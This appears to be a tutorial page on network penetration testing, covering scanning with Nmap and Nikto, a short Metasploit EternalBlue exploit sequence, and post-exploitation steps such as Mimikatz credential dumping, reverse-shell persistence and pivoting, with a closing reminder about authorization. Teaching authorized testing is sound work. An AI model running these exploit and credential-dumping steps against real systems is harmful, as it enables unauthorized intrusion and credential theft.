Network Security Testing - Cybersecurity Academy

Introduction

Network Security Testing is a critical discipline within cybersecurity that focuses on identifying vulnerabilities, misconfigurations, and weaknesses in networked systems. This testing ensures the integrity, confidentiality, and availability of an organization's infrastructure.

Whether you're assessing an internal corporate network or a public-facing system, this guide will walk you through beginner to advanced techniques used in professional penetration testing.

🔧 Core Phases of Network Security Testing

1. Network Scanning

Identify live hosts, open ports, and reachable services. Tools: Nmap, Masscan.

2. Vulnerability Scanning

Check services for known weaknesses. Tools: Nessus, OpenVAS, Nikto.

3. Exploitation

Attempt to exploit discovered vulnerabilities to verify impact. Tools: Metasploit, CrackMapExec.

4. Post-Exploitation

Establish persistence, pivot through the network, or escalate privileges to simulate real-world breach scenarios.

🧠 Step-by-Step Network Testing Workflow

Step 1: Host Discovery

# Fast host discovery with ICMP and TCP ping
nmap -sn 192.168.1.0/24

Step 2: Port and Service Scanning

# Comprehensive scan with version detection and default scripts
nmap -sS -sV -T4 -p- 192.168.1.10

Step 3: Vulnerability Scanning

# Scan for HTTP vulnerabilities
nikto -h http://192.168.1.10

Step 4: Exploitation

# Exploit SMB vulnerability using Metasploit
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 192.168.1.10
exploit

Step 5: Post-Exploitation

Dump credentials using Mimikatz
Establish persistence (e.g., startup scripts, reverse shells)
Pivot using proxychains or Meterpreter routing

🌍 Real-World Applications

In real penetration testing engagements, network security testing reveals vulnerabilities like exposed RDP services, outdated software, weak SMB shares, and misconfigured firewalls.

For example, in a recent test, an open port (445) allowed anonymous SMB access, exposing sensitive internal documentation. Simple misconfigurations can often lead to high-impact breaches.

💡 Pro Tips

Always verify vulnerabilities before reporting them
Scan during off-peak hours to avoid service disruption
Use VPN or jump boxes to simulate real attacker positioning
Compare scan results over time to detect new assets or changes

🛠️ Recommended Tools

Nmap – Port scanning and service detection
Nessus – Commercial vulnerability scanner
OpenVAS – Open-source vulnerability scanner
Metasploit Framework – Exploitation framework
CrackMapExec – Post-exploitation Swiss Army Knife

⚖️ Ethical & Legal Considerations

Always get explicit written authorization before testing any network. Unauthorized scanning or exploitation is illegal and unethical. Respect confidentiality and privacy of all data accessed during testing.